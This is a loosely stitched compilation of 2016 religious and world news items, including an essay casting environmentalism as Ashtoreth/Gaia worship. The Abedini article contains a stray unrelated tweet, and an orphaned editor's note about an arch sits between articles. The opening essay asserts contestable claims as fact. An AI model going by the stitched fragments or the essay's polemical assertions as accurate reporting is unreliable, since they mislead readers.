In the Philistines Samson and David, who were Jews, encountered people similar to those worshipers at Ras Shamra. The Jewish commitment to the living Word of God explains why their relationship with the Philistines was so strained. For unlike the Jews, who ascribed all power to the invisible God, the Philistines sought for God in nature and in the world of sense.

Baal was the bloodthirsty Lord of Thunder and God of Storms; Dagon, the fish God; Baalzebub the Lord of flies. Baal's main consort was Ashtoreth, the Great Mother or Queen of Heaven, giver of life and fertility.

It may come as a surprise that Ashtoreth worship is alive and well on planet Earth. Ashtoreth is that goddess of whom some environmentalists speak reverently. We recognize her by one of her many names  Gaia, which means Mother Earth.

Ustun Bilgen-Reinart writes: "The earth mother was called many different names. In Anatolia she was Hepat, Kubaba, Kubele, Matar, Cybele, Agdistic, Leto, and Ephesian Artemis. The Sumerians called her Ma, Marienna, Inanna. Babylonians knew her as Ishtar, Astarte, Ashtoreth. In Egypt her name was Isis. In Crete she was Gaia or Rhea."

The monotheistic Israelites warred against the Philistines not least because Canaanite religion degraded humans on the altar of ritual sexual depravity, child sacrifice, and polytheistic nature worship. Eons later all these aspects of nature religion are making a comeback.

On April 22 the United Nations celebrates what its General Assembly terms International Mother Earth Day. It is now clear that "we don't own the planet, we belong to it," said Bolivian President Evo Morales in an address to the UN.

The UN Secretary-General speaks of the planet as a living being, urging "Governments, businesses and citizens of the world to give our Mother Earth the respect and care she deserves."

There is a view among modern environmentalists that life on earth will only be harmonized when ecological perceptions and actions take center stage of international decisions. Naturally, the UN is seen as the medium to express the deep green voice of Mother Earth.

The UN appears not to be content with mere symbolism. In recent years they debated a draft international treaty giving Mother Earth the same rights as humans. The Universal Declaration of the Rights of Mother Earth, adopted in 2010 at the World Peoples Conference on Climate Change and the Rights of Mother Earth in Bolivia, considers Mother Earth to be a Living Being with rights to life, to exist and do whatever planets do free from human interference.

It may sound crazy but already some Spanish provinces, Germany, New Zealand, and others, grant legal rights to apes. Switzerland gives plants rights. Bolivia gives human rights to plants and bugs and ecosystems. So it is not out of keeping with a certain kind of spirituality that the UN wants to grant "Mother Earth" human rights.

Earth Day is a big deal for the United States government. Former Vice President Al Gore frequently pleads for a different religion than the Christianity of the American founders, writing for example: "The spiritual sense of our place in nature ... can be traced to the origins of human civilization. A growing number of anthropologists and archeo-mythologists ... argue that the prevailing ideology of belief in prehistoric Europe and much of the world was based on the worship of a single earth goddess, who was assumed to be the fount of all life and who radiated harmony among all living things."

To this day he contends this ancient Gaia-centered faith is the common thread that will bring harmony and peace. When Gore, in his 2007 Nobel Speech, said, "Armed with such a faith, we might find it possible to resanctify the earth," he was speaking of a modern kind of Gaia worship.

All men are religious because all men have an object of worship. All men have faith in something. In the end, men will worship and serve the creature, or they will worship and serve the Creator. But they will worship something.

Americans lose liberties at an astonishing pace. But Americans are losing something far more precious. Americans have lost Christian faith, at least this is my observation, and the data seem to verify it. Family has failed. Church has failed. The state has failed. Even science, has failed. As people realize science can be corrupt, and does not provide answers to ultimate questions, they seek another god. That god is Mother Earth.

The irony is that while public and government funded displays to Baal and Ashtoreth/Gaia are now de jure, displays of the Ten Commandments are cut down. After the Philistines cut down Saul, the first king of Israel, they could think of no better tribute than to place his battle armor in the Temple of Ashtoreth as a tribute (I Samuel 31:10). We are not so different.

James Wanliss, Ph.D., is Professor of Physics at Presbyterian College, Clinton, SC. He is a Senior Fellow and Contributing Writer for The Cornwall Alliance for the Stewardship of Creation, and author of Resisting the Green Dragon: Dominion, Not Death. He has published over 50 peer-reviewed physics articles, has held the NSF CAREER award, and does research in space science and nonlinear dynamical systems under grants from NASA and NSF.

* EDITOR's NOTE: A story in the Telegraph has said there will be no unveiling of an arch in New York at this time and further plans are unknown.
YEREVAN, APRIL 22, ARMENPRESS. President of Armenia Serzh Sargsyan received Foreign Minister of the Russian Federation Sergey Lavrov on April 22, who is in Armenia on a working visit. Issues of Armenian-Russian relations and the situation after the military operations unleashed by Azerbaijan in Nagorno Karabakh conflict zone on April 2-5 were discussed at the meeting.

As Armenpress was informed from the Department of Public Relations and Mass Media of Republic of Armenia Presidents Office, greeting the Russian Foreign Minister, President Serzh Sargsyan mentioned that the agenda of Armenian-Russian relations is quite saturated, and reference is made to the current contemporary issues during different meetings, including top level ones. It happened so that the visit of the Head of the RF Government Dmitry Medvedev, as well as your visit to Armenia took place during a tense period, and it is not a secret for anyone that this situation is explained by unreasonable activities of Azerbaijan. By waging large-scale military operations against Nagorno Karabakh, Azerbaijan once again demonstrated that Karabakh can never have anything in common with Azerbaijan. By using its entire arsenal, Azerbaijan, of course, was adequately retaliated. But in my opinion, these actions of Azerbaijan pushed the negotiation process to a quite remote arena. We have always had a constructive stance in that process, we have always been convinced that the Minsk Group Co-chairs will finally present their approaches for the settlement of the conflict and will give addressed assessments to the party that refuses those proposals. But unfortunately, Azerbaijanis thought that they can violate the agreements signed back in 1994-1995 and the agreements we reached during this long-lasting negotiation process and remain unpunished. We gave a start to the current phase of negotiations in 2007. For 9 years we were the active participator of that process, tried to find mutually acceptable methods and had a constructive stance. We were convinced that this problem could be settled based exclusively on the principle of mutual concessions, through peaceful means, but today we have what we have. For that reason your opinion is extremely important for me, So why did it happen?. Of course, we have our options, but you are much more informed, so we would be very grateful if you introduce your position, President Sargsyan said.

Minister of Foreign Affairs of the Russian Federation Sergey Lavrov expressed gratitude to the President of Armenia for the opportunity to meet, presented the results of his talks held before the meeting with the President. We have already had constructive talks, observes the implementation process of bilateral agreements reached between you and Vladimir Putin. In some aspects we have delays, but anyway, the commitment to all key agreements is preserved. Our main task is to work in the direction of the agreements reached between the Presidents. We also discussed Karabakh conflict settlement and are deeply concerned over what happened. As you know, just from the first minutes of the escalation the Russian side, and personally the President, tried to prevent the violations of those documents signed in 1994-95 that have indefinite duration. We clearly confirmed it and urged not to put under doubt those important documents in any way. And it was possible to end the bloodshed. Nevertheless, we see that the situation has not fully stabilized yet, and we believe that in this phase it is very important to bring into life the agreement reached between you and the President of Azerbaijan 5 years ago under the Russian mediation: mechanisms investigating and preventing incidents, as well as confidence building measures. These measures will maximally reduce any possible risks of an outbreak of the conflict. Respective instructions were given to the OSCE, and we want the German Chairmanship to actively engage in it. Of course Mr. Sargsyan, I realize why you said that it is difficult to return to the negotiation table at the moment. The situation must calm down a little, and people must rest for a while. We once again extent our condolences for the victims of this conflict, but, anyway, I agree with you that this conflict has no military solution, which means that it is necessary to continue making efforts for reaching a political settlement.

Why did the situation grow to such a critical point? I cannot decide for Armenia, Azerbaijan or people of Karabakh, but I believe that if we had succeeded in making progress, even little, on the political arena, if we had outlined common principles, which the sides would take as basis for the elaboration of a legally binding document, it would not only play a key role for the resumption of the negotiations, but would also be a restraining factor for outbreak of violence. But a reiterate, only the parties can reach a solution. We tried, try and will continue trying to help together with the Co-chairs, the USA and France. We have a common position, and as long as I realize, Armenia supports that position, that the trio of the Co-chairs, together with the OSCE must continue its efforts as the key coordinator, according to the mandate that the parties agreed to give to that mechanism. And we do not hail the attempts of searching for parallel ways, or creating other mechanisms that do not enjoy the trust of all the parties. It will merely deviate from the main issue, which is to ensure security, prevent new victims, and at the same time create conditions for a political process, Foreign Minister of Russia Sergey Lavrov said.
Fired for preaching: Georgia dumps doctor over church sermons Guest Columnist | 22 April, 2016 by Todd Starnes / Fox News

ATLANTA (Christian Examiner)  Bi-vocational pastors be warned  what you say from the pulpit on Sunday could get you fired from your public sector job on Monday.

Dr. Eric Walsh, a renowned public health expert who also serves as a lay minister, has filed a federal lawsuit against the Georgia Department of Public Health alleging he was terminated for delivering sermons on issues ranging from homosexuality to evolution.

Click here to join Todd's American Dispatch: a must-read for Conservatives!

"No one in this country should be fired from their job for something that was said in a church or from a pulpit during a sermon," said First Liberty attorney Jeremy Dys.

First Liberty, one of the nation's largest law firms defending religious liberty, is representing the Seventh Day Adventist lay minister.

READ THE FULL STORY AT FOXNEWS.COM!

Todd Starnes is host of Fox News & Commentary, heard on hundreds of radio stations. His latest book is "God Less America: Real Stories From the Front Lines of the Attack on Traditional Values." Follow Todd on Twitter@ToddStarnes and find him on Facebook.
Official admits: Resettlement the only option for saving Syrian Christians 22 April, 2016 by Gregory Tomlin , |

WASHINGTON (Christian Examiner)  There are 228 armed opposition groups in Syria alone, all competing with one another for power against the Assad regime, the Islamic State or Al Qaeda's Al-Nusra front.

Pressed between them all are religious minorities, including Christians and Yazidis, who have been virtually annihilated from the region, the chairman of the U.S. Commission on International Religious Freedom told the Tom Lantos Human Rights Commission of the U.S. House of Representatives earlier this week.

Robert P. George told the Commission the U.S. has to work to stabilize the region by alleviating the humanity crisis in Syria and neighboring Iraq. He recommended sending increased levels of humanitarian aid to internally displaced persons and to refugees who have already fled the zone of conflict.

Importantly, however, George said the effort to save religious minorities is not primarily centered upon developing a climate of religious freedom in place, or in the countries where what U.S. Secretary of State John Kerry recently called "genocide" is occurring at the hands of the Islamic State.

While the USCIRF can ask that both Syria and Iraq be labeled "Countries of Particular Concern" for their egregious violations of religious freedom and international courts be given jurisdiction over war crimes trials, the Commission's measures mostly only have hope of preserving the religious groups if they are resettled to other countries where a climate of religious freedom already exists.

The U.S., George also said, can provide "longer-term support in host countries for those who hope to return to their homes post-conflict." In particular, he said the UN, non-profit government organizations and friendly governments around Syria and Iraq (such as Lebanon, Jordan, Egypt and Turkey) should promote religious freedom.

Further evidence that establishing religious freedom in the region is unlikely came as George concluded the U.S. government should "commit to a goal of resettling 100,000 Syrian refugees to the United States," after they had been vetted properly and prove no threat to U.S. national security.

Ironically, though, George called for the Department of Homeland Security to lower U.S. immigration law's "material support bar," so refugees who may have supported a terror group opposed to Bashar Al-Assad "under duress" could still enter the country.

Syria is only part of the problem.

Iraq, shattered by the growth of ISIS after the withdrawal of U.S. troops from the region, also has a long road ahead in building a climate of religious freedom, George said.

He suggested the government of Iraq develop a plan to protect religious minorities and "establish the conditions for them to return to their homes," though it is uncertain how this could be accomplished without U.S. military assistance.

George suggested that any military and security assistance provided to the Iraqi government should be contingent upon the Iraqi and Iraqi Kurdistan governments integrating the nation's armed forces to reflect "the country's religious and ethnic diversity." He also said the governments should train soldiers to recognize "universal human rights standards and how to treat civilians, particularly religious minorities."

In the past year, some of the Iraqi Shiite militias which have gathered to fight ISIS have also attacked Sunni civilians and other religious minorities. George said the Iraqi government should prosecute those actions if they occur.
A federal appeals court has ruled that a transgender high school student who was born as a female can continuing pursuing his lawsuit against a Virginia school district for discrimination after being prohibited from using boys' bathroom.

A lower court had earlier given verdict in the favor of Gloucester High School where he has been attending, but the Fourth Circuit Appeals Court brought back the lawsuit.

The 2-to-1 ruling set a precedent for future ones by its unique interpretation of a US Department of Education edict.

The Title IX statute which prohibits sexual discrimination in schools says that, "No person in the United States shall, on the basis of sex, be excluded from participation in, be denied the benefits of, or be subjected to discrimination under any education program or activity receiving Federal financial assistance."

The transgender teen, Gavin Grimm, had been using the boys' bathroom for seven weeks, after which some people in school complained to the board. The school officials implemented a policy that denied Gavin's use of the boys' bathrooms, by segregating the restrooms on the basis of biological genders. The school had assured that "students with gender identity issues shall be provided an alternative appropriate private facility."

Gavin sued the district in 2015 but the district court did not agree with the case of discrimination, and dismissed the lawsuit. The appeals court reversed the dismissal, saying that the school was not following Title IX statute.

"We agree that it has indeed been commonplace and widely accepted to separate public restrooms, locker rooms, and shower facilities on the basis of sex," the court wrote in its opinion. "It is not apparent to us, however, that the truth of these propositions undermines the conclusion we reach regarding the level of deference due to the department's interpretation of its own regulations."

The appeals court ordered the lower court to rehear the discrimination case, which cites violation of federal law. The judges also said that Grimm must be allowed to use boys' bathroom at the high school till the lower court pronounces its decision.

"The court's ruling sends a strong message to schools and lawmakers that discriminatory restroom policies don't just harm transgender students, they put Title IX funding at risk," said Gail Deady of ACLU, Virginia, which had filed the case on behalf of Grimm.

Judge Paul Niemeyer, wrote in a dissenting opinion that the majority ruling "completely tramples on all universally accepted protections of privacy and safety that are based on the anatomical differences between the sexes."

Recently, North Carolina and Mississippi also adopted similar laws that opponents say are discriminatory to people who are lesbians, gays, bisexual, and transgender. To note, North Carolina, which recently passed a law requiring individuals to only use bathrooms in accordance with their biological sex in all government buildings including schools, falls under Fourth Circuit jurisdiction. This recent ruling regarding Grimm's case may have implications for that new state law, LGBT advocates say.
Tennessee did not get enough votes in House of Representatives yesterday to override Governor's veto to make Bible the official book of the state, based on its historical significance.

Governor Bill Haslam said, "If we believe that the Bible is the inspired word of God, then we shouldn't be recognizing it only as a book of historical and economic significance. If we are recognizing the Bible as a sacred text, then we are violating the Constitution of the United States and the Constitution of the State of Tennessee by designating it as the official state book."

Supporters had argued that the bill would signify historic and economic impact of the Bible in Tennessee, and was not an endorsement of religion.

The opponents had claimed that it would trivialize the Bible by placing it along with other state symbols.

Bill's sponsor Rep. Jerry Sexton (R-Bean Station), is also a former Baptist minister told reporters that voting presented a difficult choice for his colleagues.

"It wasn't the vote that I wanted," Sexton said. "It had a strong uphill climb, but I believe that we came further and I believe that we made history here in Tennessee."

The House was supposed to get 50 votes to override the veto, but only managed to get 43.

"We can put it all over the billboards of any corner in Tennessee, but if it is not in your heart we are doing nothing but mocking God," said Democratic Rep. Johnny Shaw, a Baptist pastor.

There were previous attempts to approve the bill, but failed to pass through. This time, the debate on the bill stretched long during all the sessions, with several references to Bible.

After Haslam vetoed the bill, some of the representatives were not willing to override the will of governor. Six Republicans and five Democrats who had voted to make Bible the official book of the state, did not do so again after Haslam's veto.

The American Civil Liberties Union of Tennessee and Freedom from Religion Foundation welcomed the outcome, but conservative group Liberty Counsel was in favor of the bill, and had offered legal help to state in case it got sued.

After taking office in 2011, this is the fourth time Haslam has vetoed a bill.

"The Bible is either the inspired Word of God or it's not," he said. "We shouldn't honor it for one reason when it's really for another."
home World Ecuador earthquake aftermath: Christians urged to pray, donate funds to help victims

Ecuador was hit with a 7.8 magnitude earthquake on Saturday, with an aftershock measured at 6.1 magnitude felt on Wednesday and another one at 6.0 magnitude on Thursday. The devastation has left a lot of people without food, and Christians are asked to pray and, if they can, to provide funds to help.

"Christians anywhere can pray," Rosa Contreras Hart, Latin American Area Director for Christian Aid Mission, told The Christian Post. "Sometimes we forget that prayer is a believer's greatest and most powerful weapon."

She said that Christians can pray for those who are trapped to be rescued and for families to be reunitied. She also said that there are many Christian organizations providing aid, and if anyone wishes to give, they are welcome to do so. They, for one, are providing assistance to ministries to dispatch supplies.

"Christian Aid Mission is raising funds to send 100 percent of gifts donated to the three ministries we have been assisting for many years so they can provide supplies as soon as possible," she said.

Compassion International of Colorado Springs is also sending aid, according to CP, as well as Evangelist Franklin Graham's Samaritan Purse. The latter sent 40 tons of relief goods on Wednesday, plus a response team with 30 members and an emergency field hospital, and plans to deliver more supplies and equipment on Friday and Sunday.

President Rafael Correa has declared a state of emergency on April 16, and said in his recent update on April 22 that they felt three aftershocks -- two of which were quite strong -- while they were at Bahia. Thus far, at least 570 have died and more than 7,000 have been injured. The government, reported CNBC, has set up shelters in stadiums and airports to accommodate more than 25,000 people who were displaced by the disaster.

"We're trying to survive. We need food," 65-year-old lawyer Galo Garcia told CNBC while he queued for water from a truck in San Jacinto village. "There's nothing in the shops. We're eating the vegetables we grow."
home World Iran tried to hack Facebook account, claims Pastor Saeed Abedini

An American pastor claims that the Iranian government tried to hack his Facebook account following a comment he made about the country still holding political and religious prisoners.

"After my resent post on my Facebook (Proverbs 17:7) about Iran government today, Iran intelligent police tried to hack my Facebook account but they haven't been successful. (or maybe sending me a treat signal to stop)," Pastor Saeed Abedini wrote.

The recent post he was referring to talks about how Iranians are still being put in prison because of "how they think." Quoting Proverbs 17:7 that refers to the "lying lips of a ruler," Abedini's post alludes to the Iranian officials' denial that they are holding prisoners because of their religous beliefs, political views, and other opinions. The accompanying video from Iran Freedom that centers on political prisoners and detainees in the country, including prisoners of conscience captured because of their religious beliefs, emphasizes his point.

Part of his post reads: "I have been witnessed for years that thousands Iranians have been in prison because of 'How they think' until Today and I was one of them.

They could shout down their voices, there, but they can NOT shutdown my shout here, I am living in FREE land now."

And thats A Season 4 Wrap!  Phoebe Tonkin (@1PhoebeJTonkin) December 17, 2016

Saeed was released in January following 3 1/2 years of jail time in Iran. According to The Christian Post, he endured beatings and isolation, and he spent his time praying, for it was the best thing he could do.

"'Iran government Lies because their root, Islam religion, Lies'," his post says.

CP reports that last year, Mohammad Javad Zarif, the foreign minister of Iran, said that they "do not jail people for their opinions," a statement that drew criticism. Journalist and human rights activist Fariba Davoodi Mohajer, meanwhile, said that he watched in regret as Zarif lied in front of cameras withouth shame "while many Iranians are still in prison for simply holding certain beliefs." Mohajer also said that even if those prisoners are released, they are still constantly monitored and they continue to live in fear.

"We keep continue, No one can stop us and No weapons work against us!," Saeed wrote, quoting Romans 8:31 that says, "What then shall we say to these things? If God is for us, who can be against us?"
home Life Proof of evolution or creation? Ancient lizards preserved in amber

Researchers have studied the remains of lizards and some body parts preserved in amber, dated to be about 99 million years old. Some scientists view this as a glimpse into a lost world, while others take it as proof of Creationism.

"The fossilised amber provides a view into a lost world, revealing that the tropics of the Mid-Cretaceous contained a diverse lizard fauna," co-author Dr. Edward Stanley of the Florida Museum of Natural History said during an interview with BBC News.

Stanley said that the fossils seem to be a transitional form from that of the "standard" lizard to chameleons.

"This 'missing link,'" he said, "is roughly 80 million years older than the next oldest chameleon fossil, and shows that features like the chameleon's projectile tongue was present deep in its ancestry."

According to Science News, 12 pieces of amber containing lizard body parts were found in Myanmar. The preserved remains of a baby lizard, said study co-author Juan Daza of the Sam Houston State University, could be the modern chameleon's oldest known relative.

However, creationists seem to have a different view on this recent study, titled "Mid-Cretaceous amber fossils illuminate the past diversity of tropical lizards," published last month on Science Advances.

In an article on the Institute for Creation Research, science writer Brian Thomas argued that the lizards preserved in amber "all confirm biblical creation in several different ways."

"Secular scientists assigned an age of 99 million years to these Burmese amber deposits. But the encased organisms show no evidence for evolution between creature kinds," Thomas wrote. He added, "This means that lizards living with dinosaurs looked like lizards that live today, which fits the Bible's perspective of recent creation."

Dr. Elizabeth Mitchell of Answers in Genesis also refuted evolution, saying that the what was found are evidence of variation within a species rather than that of upward evolution, and that those preserved animals are "a testimony to the lizard diversity that existed in the world destroyed by the Flood of Noah's day."
home World U.S. Congress investigates China's use of torture among prisoners

The Congressional Executive Committee on China (CECC) convened a hearing last week to investigate the use of torture in China's prisons, and the revelations were graphic.

Witnesses came forward and described torture methods they had either personally experienced or seen. One of the cases examined was that of Gao Zhisheng, a lawyer who was apprehended for representing persecuted Christians.

Gao's wife Geng He said that while her husband was detained from 2006 until 2014, he suffered from beatings and electric shocks that lasted for hours.

Women prisoners also suffered from sexual assault both from the guards and the male inmates. Yin Liping, who was detained for refusing to renounce her Falun Gong beliefs, recounted how she was tortured and abused. She was given daily doses of different kinds of drugs that affected her eyesight and internal organs.

In November, Chinese officials spoke before a United Nations committee and denied using torture against their prisoners.

"The Chinese government prohibits torture and prosecutes any personnel or state organs for torture activities," Li Wensheng from China's ministry of public security said, Reuters reported.

However, the recent CECC hearing emphasized that torture was used in China in order to force prisoners to confess to crimes or to make them renounce their faith.

"A country with China's global leadership aspirations should not engage in horrific practices so thoroughly condemned by the international community," Committee Chairman Christopher Smith said, according to Epoch Times.

Kusho Golog Jigme la, former political prisoners, testified for the first time before the U.S. Congress. He told officials not to overlook the situation within Tibet.

"China should be held accountable for denying us these basic freedoms, and subjecting us to arbitrary detention and torture when we try to exercise these basic rights," the Central Tibetan Administration reported.
Austrian bishop forbids government from building anti migrant fence on church land

An Austrian bishop has refused to allow parts of an anti-migrant fence on the Hungarian border to be built on church land.

The barrier near Moschendorf on Austria's southern border is planned to be several kilometres long and crosses two Church properties. However, the Bishop of Eisenstadt, Aegidius Zsifkokvics, is refusing permission for the fence. He said the border would "contradict the spirit of the Gospel, Pope Francis' clear message to Europe, and in particular for a diocese that was in the shadow of the Iron Curtain for decades".

According to News 24, Zsifkokvics said: "Last year, during the worst refugee crisis of recent years when 200,000 people crossed the border at Nickelsdorf in six weeks, practically overnight we provided around 1,000 emergency places in Church buildings for exhausted families, for women, children and old and weak people.

"And now we are supposed to build a fence on Church lands?

"We need to tackle today's problems at their root and that means: stopping organised human trafficking, stopping sales of European arms, stopping war and the deliberate destabilisation of the Middle East and stopping the exploitation of African raw materials and agriculture by European firms."

Austria plans to erect several barriers to control migration, which last year saw around 900,000 people pass through the country on the way to Germany and Scandinavia.

The route through the Balkans has effectively been closed and efforts to reduce the number making the dangerous sea crossing from Turkey to Greece are also proving successful as migrants are told they will be returned to Turkey if they land in Greece.

However, progress in returning refugees from the overcrowded and insanitary Greek camps has been painfully slow and Europe's deal with Turkey has been condemned by rights organisations and by the Council of Europe.

A report for the Council by by the Dutch parliamentarian Tineke Strik said the EU-Turkey agreement "at best strains and at worst exceeds the limits of what is permissible under European and international law".

As well as the conditions in which refugees were held, it condemned Europe's "shamefully slow" progress on relocating refugees from Greece to other countries; by the end of March only 937 out of a promised 160,000 had been found homes.

A letter to the Times today from UK and US religious leaders urged Prime Minster David Cameron and President Barack Obama to use what could be their final meeting as heads of state to "urgently address the humanitarian crisis in Syria". It said: "They have both led the world in mobilising support for Syria's neighbours, which are sheltering the vast majority of those who have fled the country. We now urge Mr Obama and Mr Cameron to set out the steps to ensure that more Syrian refugees can find sanctuary outside the region."

The letter, signed by Christian bishops, Jewish rabbis and Muslim and Hindu leaders, said: "Welcoming the stranger sometimes takes courage, but the joys and the hopes of doing so outweigh the challenges."

Britain has said it will take a further 3,000 refugees, mainly vulnerable children, from the Syria region by 2020 in addition to the 20,000 places already promised. The scheme will target unaccompanied children in the Middle East and North Africa. There are an estimated 4.5 million Syrian refugees across the region, more than half of them children.

However, the Government's move was described as a "cynical ploy" by Lib Dem leader Tim Farron, who told the BBC it was an attempt to "buy off" Conservative backbenchers ahead of a Commons vote on the issue of unaccompanied children in the camps next week.

Around 30,000 unaccompanied children are in camps in Europe. Farron said 10,000 had "gone missing" and that the Prime Minister had not taken the opportunity to help them.
YEREVAN, APRIL 22, ARMENPRESS. The article of Vahan Dilanyan, assistant to the Prime Minister of Armenia, was published in popular The Catholic Herald periodical on April 22. The article refers to the ideas of St Gregory of Narek and the recognition of the Armenian Genocide. Armenpress presents the full text of the article.

In a world still threatened by genocide, we must heed the message of an Armenian saint, St Gregory of Narek, a Doctor of the Church, who urges us to recognize the evil within us and the world.Th is Sunday Armenians and people of good will around the world will commemorate the victims of the Armenian Genocide.

A century ago millions of men, women and children  including Assyrians and Greeks  were brutally tortured and exterminated upon the direct order and plan of the Ottoman Turkish government, thereby emptying the region of its indigenous populations and deliberately destroying millennia-old Christian heritage.

Armenians were martyred also because of their Christian faith and as recently as last year the Armenian Apostolic Church canonised all the victims of the genocide as saints.

It is tragic that the cycle of genocide continues to this day in various parts of the world. Part of the reason behind it is the impunity of the past crimes and the unwillingness of the international community to undertake meaningful measure to stop it. Only by fully facing the tragedies of the past and dealing with them in a truthful and just manner can the humanity move forward.

These ideas are enshrined in the work of a 10th-century Armenian monk, St Gregory of Narek, whom Pope Francis proclaimed a Doctor of the Church for his invaluable contributions towards the Christian theology and community at-large.

St Gregory of Narek is best-known for his work the Book of Lamentations (also called Book of Prayers), which outlines profound ideas about the purification and sanctification of humanity. The book is a monologue structured as a prayer to God from the depths of the heart in which St Gregory ascribes to himself all possible sins, exposing himself and confessing to God.

The saint suggests a way of human perfection through repenting to God. This was a revolutionary idea aimed at dispelling the ignorance of the Middle Ages. Long before Martin Luther, St Gregory advocated direct communication with God. Centuries later this idea was to become the basis of Reformation.

It is worth mentioning that there is not a single mention of Armenian or Armenia throughout the entire text, which proves the works universal nature.

St Gregorys ideas have a crucial meaning in the modern world full of violence and intolerance. While losing spiritual and moral values in the euphoria of development of civilisation, humanitys image of divinity has been degraded. St Gregory provides for a path towards salvation through repentance.

The idea of repentance is of particular importance in the context of the recognition of Armenian Genocide, since the 101st anniversary of the genocide serves as a new milestone to dispel the gloom and struggle against the denial of the crime by Turkey in the 21st century. As Pope Francis said, concealing or denying evil is like allowing a wound to keep bleeding without bandaging it.

The denial and impunity of a crime enable its repetition in the future, as proven by the cases of the Holocaust, Cambodia, Rwanda, Darfur, as well as the ongoing genocide against Yazidis, Christians and other minorities in the Middle East at the hands of ISIS.

This cycle will continue for as long as the world does not repent of the sins that have remained unacknowledged to this day. Only with the proper recognition and true justice can peace be established in the world. St Gregorys ideas are as relevant today as they were in centuries past.

Vahan Dilanyan is the Assistant to the Prime Minister of the Republic of Armenia. He previously served as the Adviser to the Minister of Foreign Affairs of the Republic of Nagorno Karabakh. He has a PhD in Political Science.
Bishop at Denzel Washington's church in bizarre row over abuse claims

A bizarre row between the bishop of one of America's largest Christian denominations and one of its pastors has taken an even stranger turn as an alleged abuse victim has hit back at claims the bishop was responsible.

Florida pastor Earl Carter has been in a long-running feud with Bishop Charles Blake, the 75-year-old head of the 6-million-strong Church of God in Christ (COGIC). The row erupted after Carter was forced to apologise for offensive anti-gay comments he made from the pulpit in 2014.

He has since accused Blake, whose Los Angeles congregation includes Magic Johnson and Denzel Washington and who is a member of President Obama's White House Advisory Council on Faith-Based and Neighborhood Partnership, of being a homosexual who travelled to South Africa for sex with young boys and of financial misconduct. Blake is suing Carter for $75,000.

Now Carter has given a new twist to the story by naming a man he says the bishop abused as a child. According to the Daily Mail Online, Sidney Lassiter told a friend, Denise Hall, that his son had been molested as a child. She allegedly told Carter, who said online that the abuser was Bishop Blake.

However, both the victim, Sidney Lassiter III, and his father, deny Blake was the perpetrator. They put up a YouTube video on Sunday attacking Carter. "A cruel and nasty act did happen to me actually at the age of 12 or 13," said the younger Lassister. "But the perpetrator was not Bishop Charles Blake."

The Lassiters hit out at what they said was an unwarranted breach of privacy.

His mother Bethaline Chapman said: "Our son has likewise suffered substantial emotional distress as a result of these wholly false allegations; he is currently receiving psychological therapy in an attempt to cope with the strain stemming from this defamatory and grossly scandalous invasion of his personal privacy."

Carter has refused to take his video down and claims Blake is trying to "destroy" him. He is seeking funds to fight his legal case.
Burundi: Tensions rise as Catholic Church accused of sponsoring terrorism

Burundi's government has accused the Catholic Church of sponsoring terrorism in the latest spat between supporters and opponents of the controversial President Pierre Nkurunziza.

The east African nation has been in turmoil since April 2015 when the country's first protestant President announced he would run for a third term. Catholic bishops in Burundi have opposed this move, saying it was illegal under the constitution.

Pascal Nyabenda, President of the National Assembly, said the Catholic Church had played a "purely political, not spiritual role" and added the government would not talk to "sponsors of terrorism".

However a source in Burundi told Christian Today: "The Catholic Church is very clearly not sponsoring terrorism.

"What happened is the Catholic Church has had a very consistent line that the President should not stand for a third term as it undeniably be against the constitution.

"They never advocated violence but they did advocate change. They have firmly stood by their line."

The source, who cannot be named for security reasons, went on to say protests against the President had been held, which were largely peaceful. However Nkurunziza was re-elected with 91 per cent of the vote, amid an opposition boycott.

The source said after the election in July, everyone who had supported any kind of demonstration was labelled an enemy of the state and a terrorist, including the Church.

The Catholic Church's longstanding opposition stands in contrast to the Protestant stance which the source described as "confused". As the country's first openly evangelical President, the Protestant church has been unsure how to react to his decision to run for a third term.

"There are certainly a lot of Protestants within the capital who want regime change but their pastors were not providing much guidance because they support the President.

"The protestant witness in the Burundi has been tarnished by this confusion," said the source. "Maybe there will be pay back in years to come." The source stressed this was their personal view and many Christians supported the President.

In the last year hundreds have been killed as protests spilled over into violence. More than 200,000 have fled the country and fears have grown that another ethnically charged conflict is brewing, less than ten years since 300,000 died in a devastating civil war.

However Christian Today's source said it completely incorrect to say a genocide, similar to that in 1990s Rwanda, was repeating itself.

"The reality is pretty grim for sure, but it totally not right to say an ethnic conflict is looming," he said, referring to articles in the Economist and Observer.
Christian pastor fired for criticising homosexuality in sermons sues health department

A Christian pastor is suing a United States health department for "religious discrimination" after he was fired because of statements he made in sermons.

LGBT groups protested when Dr Eric Walsh, from Pasadena, who had been an advisor on HIV/Aids to President Barack Obama, was offered a job in 2014 running a district of the health department in Georgia. They were concerned that he was opposed to homosexuality.

The offer was then rescinded. Dr Walsh was also placed on administrative leave from his job as Pasadena public health director, so that officials could look into his sermons in which he described homosexuality as sinful and also criticised evolution, Islam and Catholicism, according to the Daily Caller. He then resigned from that job.

In a statement at the time, a Georgia health department spokesman said the background checks led to the job offer being retracted.

A Facebook page has been set up to support Dr Walsh.

The lawsuit has been filed by First Liberty Institute which wrote: "In May 2014, the State of Georgia's Department of Public Health hired Dr Walsh as a District Health Director. But soon after Dr Walsh accepted the offer, state officials asked him to submit recordings of his sermons for their review. After inspecting his sermons, they fired him. First Liberty Institute filed a lawsuit against the State of Georgia on behalf of Dr Walsh because no one should be fired from his job for something he said in a sermon."

Liberty cited an email which showed health staff had been assigned to listen to Dr Walsh's sermons on YouTube. Liberty also has a voicemail where public officials laughing and using words like "you're out" without realising they wer being recorded.

Dr Walsh holds both a medical degree and a doctorate in public health. He is also a lay pastor in the Seventh Day Adventist Church.

Dr Walsh said: "My mom was a single mother and what got us through was our faith. What I learned at church taught me the value of getting an education and led me to want to serve those in need. That's why I became a doctor and I've held onto those beliefs ever since."

He added: "I couldn't believe they fired me because of things I talked about in my sermons. It was devastating. I have been unable to get a job in public health since then. By reviewing my sermons and firing me because of my religious beliefs, the State of Georgia destroyed my career in public service."

He also wrote: "I am a devout member of the Seventh Day Adventist Church, and, as a part of my sincerely-held religious beliefs, I believe in expressing my faith.My faith is important to me; I regularly speak about my faith at churches and religious conferences."

Liberty filed a charge of discrimination in September 2014, charging Georgia public health department with religious discrimination and retaliation for firing Walsh over the content of his sermons. In February this year Walsh was given the right to sue, and First Liberty filed the suit this week.

Andrew Coffman, partner at Parks, Chesin & Walbert, who are working with Liberty, said: "No one should be fired for simply expressing his religious beliefs. In America, it is against the law to fire an employee for expressing his religious beliefs  especially when that expression takes place at church."

